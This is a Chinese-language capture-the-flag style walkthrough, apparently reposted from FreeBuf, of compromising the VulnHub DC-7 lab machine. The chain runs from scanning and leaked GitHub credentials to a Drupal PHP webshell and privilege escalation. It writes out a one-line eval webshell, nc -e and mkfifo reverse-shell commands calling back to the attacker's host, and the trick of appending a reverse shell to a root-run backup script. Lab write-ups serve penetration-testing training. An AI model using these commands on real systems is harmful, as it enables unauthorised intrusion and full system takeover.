VulnHub靶机 DC-7 打靶 详细渗透过程
2024-4-24 18:36:8 Author: www.freebuf.com(查看原文) 阅读量:5 收藏

一、将靶机配置文件导入虚拟机当中

靶机地址:

https://www.vulnhub.com/entry/dc-7,356/

image-20240421224959602

二、渗透测试流程

主机发现

使用arp-scan命令或者使用nmap命令进行主机发现

arp-scan -l

image-20240421225109646

端口扫描

nmap -p- 10.1.2.237

探测发现开放22端口SSH,80端口HTTP服务

image-20240421225200927

详细探测服务信息

nmap -p80 -sV -A 10.1.2.237

image-20240421225554298

目录爆破

发现后台

dirsearch -u http://10.1.2.237/ -i 200 

image-20240421231140039

image-20240421231205877

尝试sql注入并未成功

web渗透

白盒测试

指纹识别

whatweb http://10.1.2.237/

image-20240421225614478

访问web界面,通过界面提示,爆破是无法利用成功的,要跳出"盒子",说明可能是白盒测试

image-20240421225803522

image-20240421225816133

通过发现左下角有作者信息,那么来到github搜索一下,看有没有价值信息

image-20240421225914765

通过github找到作者,翻找源码找到config配置文件,打开查看内容

image-20240421230521973

找到配置文件config.php,其文件内容如下:

<?php
	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

根据上述代码可得服务名称和用户名以及密码,还有数据库的名称,拿到以上信息尝试利用

后台登录:失败

image-20240421231307233

数据库连接:失败

image-20240421231439722

通过端口扫描发现还开放了22端口,尝试远程连接

ssh:成功

image-20240421231530526

ssh远程连接

ssh [email protected]

成功连接

image-20240421231611819

提权

查找系统具备suid权限的指令

find / -perm -u=s -type f 2>/dev/null

发现没有什么可利用的,但发现有一封邮件,查看有无讯息

image-20240421231741696

cat /var/mail/dc7user 

发现可执行脚本信息,以及数据库文件相关的信息

image-20240421232340214

逐一查看,查看执行备份的脚本

ls -l /opt/scripts/backups.sh
cat backups.sh

image-20240421232653911

image-20240421232457193

脚本属主为root,属组是www-data。

修改后台密码

通过脚本的内容,发现drush命令,对数据库进行了操作,以及打包备份操作。查一下drush相关命令内容

image-20240421233201255

image-20240421233415910

drush命令帮助如下:

image-20240421233117041

可以使用drush来修改密码,更换后台的密码

drush user-password admin --password="admin"

第一次使用报错,来到网站目录再次执行即可

image-20240421233449641

成功更改密码后,登录网站后台:

成功进行后台,来到插件位置,观察有无可代码执行或者getshell的地方

image-20240421233531277

GETSHELL

  • 在Content—>Add content-->Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码。

  • image-20240422011604709

  • 百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入

  • PHP介绍页面如下,模块包下载地址附上

https://www.drupal.org/project/php
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

image-20240421234544867

安装新模块,将链接填入即可

等待过后,安装成功

image-20240421234703040

启用即可

image-20240421234754761

来到扩展,安装

image-20240421235005892

等待过后安装成功。

image-20240421235033896

回到home,点击edit编辑,直接写入一句话木马

<?php @eval($_POST['cmd']);?>

image-20240421235202111

写入后保存,注意选择php code

image-20240421235343155

然后直接使用蚁剑进行连接,成功解析php

image-20240422000135586

成功连接

image-20240422000104422

获取www-data权限

image-20240422000401751

反弹shell

//在虚拟终端当中执行反弹命令
nc -e /bin/bash 10.1.2.228 8888

kali成功接收shell,获取www-data权限

image-20240422000518227

获取稳定shell

python -c "import pty;pty.spawn('/bin/bash')"

image-20240422000909497

由于我们上一步骤已经得到了backups.sh脚本属主为root,属组为www-data,所以我们将反弹shell命令添加到脚本当中,等待执行脚本反弹shell即可得到root权限

//将反弹shell命令追加到文件当中
echo "nc -e /bin/bash 10.1.2.228 6666" >> backups.sh
或
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.1.2.228 6666 >/tmp/f" >> backups.sh

或者在webshell当中的文件管理直接写入

image-20240423001413565

查看文件内容,确认写入成功

image-20240422003307065

//直接执行或者等待计划任务执行即可

image-20240422004655846

kali端成功接收到shell,成功提权,通关!

image-20240423001651024

image-20240422010258453

思路:

主机发现---端口扫描---目录爆破发现后台---服务探测---白盒测试(源码当中找配置文件)---ssh远程登录---邮件信息---找到备份文件脚本---发现脚本当中的drush命令---修改后台密码---进入后台---寻找可代码执行或getshell地方---drupal8不允许执行命令(模块)---下载新的插件---getshell---反弹shell---追加反弹命令---提权即可

文章不妥之处,欢迎批评指正!


文章来源: https://www.freebuf.com/articles/web/399204.html
如有侵权请联系:admin#unsafe.sh